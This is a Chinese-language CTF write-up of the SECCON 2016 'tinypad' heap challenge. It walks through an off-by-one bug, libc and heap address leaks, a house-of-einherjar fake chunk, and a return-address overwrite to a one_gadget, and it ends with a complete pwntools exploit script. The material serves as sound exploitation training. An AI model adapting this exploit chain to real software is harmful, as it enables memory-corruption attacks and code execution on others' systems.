2016 Seccon tinypad
2018.09.13
V1NKe
 热度
℃
简介 : house of einherjar系列里面的一题,利用的思路太骚了。。要我想我估计我死都想不到这样的利用方式,堆利用可真神奇。。
详解 : checksec:
1 2 3 4 5 6 7 ➜ tinypad checksec ./tinypad [*] '/home/parallels/Desktop/PWN/PwnWiKi/heap/tinypad/tinypad' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
基本全开了,按常理来说像是改__mall_hook
或者是__free_hook
来利用的。往下看。
功能 : 增删改memo
,申请的堆内存指针放在bss
的256偏移处。前八字节存储size
字段,后八字节存储ptr
字段。最大的申请空间也为0x100
。删除处只清空了堆内存并将size
字段置0,但是没有将指针置为0。但是这里并没有什么用,因为这里修改首先检查size
字段是否是0,为0则无法修改mome
。编辑点正常编辑。
需要注意的点 :
此处编辑处按照读取strlen
长度来确定编辑长度,所以只要碰到了\x00
,可输入的长度可能就会比预期的长度小了。
编辑处,先将堆内容复制到bss
段的tinypad
处,再确定可编辑长度,再将内容输入tinypad
处,再将tinypad
处的内容复制到堆内容处,这里存在着Off By One
漏洞。
这里尤其要注意第一点,想明白他就能少绕很多弯路。
泄漏地址 : 这里因为程序本身就自带了show
函数的功能,所以我们可以申请一个smallbin
然后delete
掉,这样就能拿到main_area
地址,从而拿到libc
基址。我们还可以泄漏heap
的基址,利用两个fastbins
。这里的话为了结合使用,我们可以先申请两个fastbin,再申请一个smallbin,然后delete掉两个fastbin,再delete掉smallbin,这里为什么smallbin不会和top chunk直接合并掉?
因为free掉smallbin的时候,前面刚好有刚刚free掉的fastbin,所以会产生一个unlink,所以将之前所创建的三个chunks全都合并到一起分到unsortbin当中去,然后又被top chunk合并,所以又回到一整块的chunk,但是指向unsortbin的指针仍然还在。所以我们仍然可以泄漏libc基址。
任意改地址 : 这里利用起来就有点困难了,我们需要用到house of einherjar的知识点了,因为存在Off By One的漏洞,所以我们可以靠一块chunk来覆盖下一块chunk的inuse区域,这里就可以想到利用unlink来利用,我们把伪造的空闲chunk构造在bss段上的tinypad处,这样申请最大0x100size的块时刚好可以覆盖到heap结构体的bss段地址处。
先用一块写的很多内容且不带’\x00’的chunk来覆盖bss段,以此构造fake chunk:
1 2 3 4 create(0x18,'A'*0x18) create(0x100,'A'*0xf8 + '\x11') <----free时会检查next chunk的size create(0x100,'A'*0xf8) create(0x100,'A'*0xf8)
1 2 3 payload = 'A'*0x20 + p64(0x0) + p64(0x21) + p64(0x602040 + 0x20) payload += p64(0x602040 + 0x20) + p64(0x20) edit(3,payload)
为什么要在0x20的偏移处呢,因为后续编辑chunk的时候会用到前面0x20处的chunk内容,所以为了不破坏我们构造好的fake chunk,我们把fake chunk设置在0x20偏移处。
然后再利用Off By One漏洞覆盖inuse域以及pre_size
字段,因为编辑功能一直有\x00
结尾的特点,不能够一次性覆盖inuse域以及pre_size
字段,我们这里需要一次一次的去缩短payload
。并且把p64(pre_size)的\x00
字节给去除掉。这里可以用strip方法函数来解决:
1 2 3 4 5 6 7 offset = heap_base - 0x602040 offset_strip = p64(offset).strip('\x00') num_size = len(p64(offset)) - len(offset_strip) print num_size for i in range(num_size+1) : <--------多的一次是拿来覆盖inuse域的 edit(1,offset_strip.rjust(0x18 - i,'A'))
随后便可以delete2来出发unlink。
和fake chunk合并后构成一个unsortbin:
如果再去申请一个0x100大小的话,这里会出错:
我觉得可能是因为这块unsortbin实在是太大了,申请小部分出错了。网上说是申请空间时会先查找这里的unsortbin块,然后才会用top chunk,正常申请0x19ab0c0大的块时会用mmap,所以要想申请的0x100成功,必须修改这里的size域。
我们利用chunk4来修改(chunk3因为在0x20偏移处有\x00
截断,可输入长度不够我们想要的):
1 2 edit(4,'A'*0x20+p64(0x0)+p64(0x111)+p64(data2)+p64(data2)) create(0x100,'A'*0xd0+p64(0x18)+p64(environ_addr)+p64(0x100)+p64(0x602148))
这下我们便能够申请成功了,然后再重写chunk结构体处的内容,因为这里有strlen
的\x00
截断,所以我们无法靠修改__free_hook
或者是__malloc_hook
来getshell。
这里我们用到的方法是修改返回地址:
靠前面泄漏的libc地址泄漏出environ
的地址,再利用程序本有的show
功能泄漏environ
地址处的栈地址,从而可以泄漏出返回地址。
这里我们将chunk1的指针覆盖成environ
的地址,然后将chunk2的指针覆盖成chunk1指针所在的地址 ,这样我们便能够随便控制任何地址,修改任意地址了。
最后将返回地址修改成one_gadget
地址getshell
。
EXP : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import * p = process('./tinypad') elf = ELF('./tinypad') libc = ELF('libc.so') context.log_level = 'debug' def create(size,content) : p.sendlineafter('(CMD)>>> ','a') p.sendlineafter('(SIZE)>>> ',str(size)) p.sendlineafter('(CONTENT)>>> ',content) def delete(index) : p.sendlineafter('(CMD)>>> ','d') p.sendlineafter('(INDEX)>>> ',str(index)) def edit(index,content) : p.sendlineafter('(CMD)>>> ','e') p.sendlineafter('(INDEX)>>> ',str(index)) p.sendlineafter('(CONTENT)>>> ',content) p.sendlineafter('(Y/n)>>> ','y') create(0x40,'AAAAAAAA') create(0x40,'AAAAAAAA') create(0x80,'AAAAAAAA') #leak --> libc --> heap delete(2) delete(1) p.recvuntil('# INDEX: 1\n') p.recvuntil(' # CONTENT: ') data = u64(p.recv(4).ljust(8,'\x00')) heap_base = data - 0x50 log.success('heap_addr :'+hex(heap_base)) delete(3) p.recvuntil('# INDEX: 1\n') p.recvuntil(' # CONTENT: ') data2 = u64(p.recv(6).ljust(8,'\x00')) log.success('leak_addr :'+hex(data2)) libc_base = data2 - 0x3c4b78 one_gadget = libc_base + 0x45216 environ_addr = libc_base + libc.symbols['environ'] log.success('environ_addr :'+hex(environ_addr)) log.success('one_gadget_addr :'+hex(one_gadget)) #house of engerinc create(0x18,'A'*0x18) create(0x100,'A'*0xf8 + '\x11') create(0x100,'A'*0xf8) create(0x100,'A'*0xf8) payload = 'A'*0x20 + p64(0x0) + p64(0x21) + p64(0x602040 + 0x20) payload += p64(0x602040 + 0x20) + p64(0x20) edit(3,payload) offset = heap_base - 0x602040 offset_strip = p64(offset).strip('\x00') num_size = len(p64(offset)) - len(offset_strip) print num_size for i in range(num_size+1) : edit(1,offset_strip.rjust(0x18 - i,'A')) delete(2) edit(4,'A'*0x20+p64(0x0)+p64(0x111)+p64(data2)+p64(data2)) create(0x100,'A'*0xd0+p64(0x18)+p64(environ_addr)+p64(0x100)+p64(0x602148)) #leak --> environ_addr p.recvuntil('# INDEX: 1\n') p.recvuntil(' # CONTENT: ') data3 = u64(p.recv(6).ljust(8,'\x00')) log.success('environ_addr :'+hex(data3)) ret_addr = data3 - 0xf0 edit(2,p64(ret_addr)) edit(1,p64(one_gadget)) p.interactive()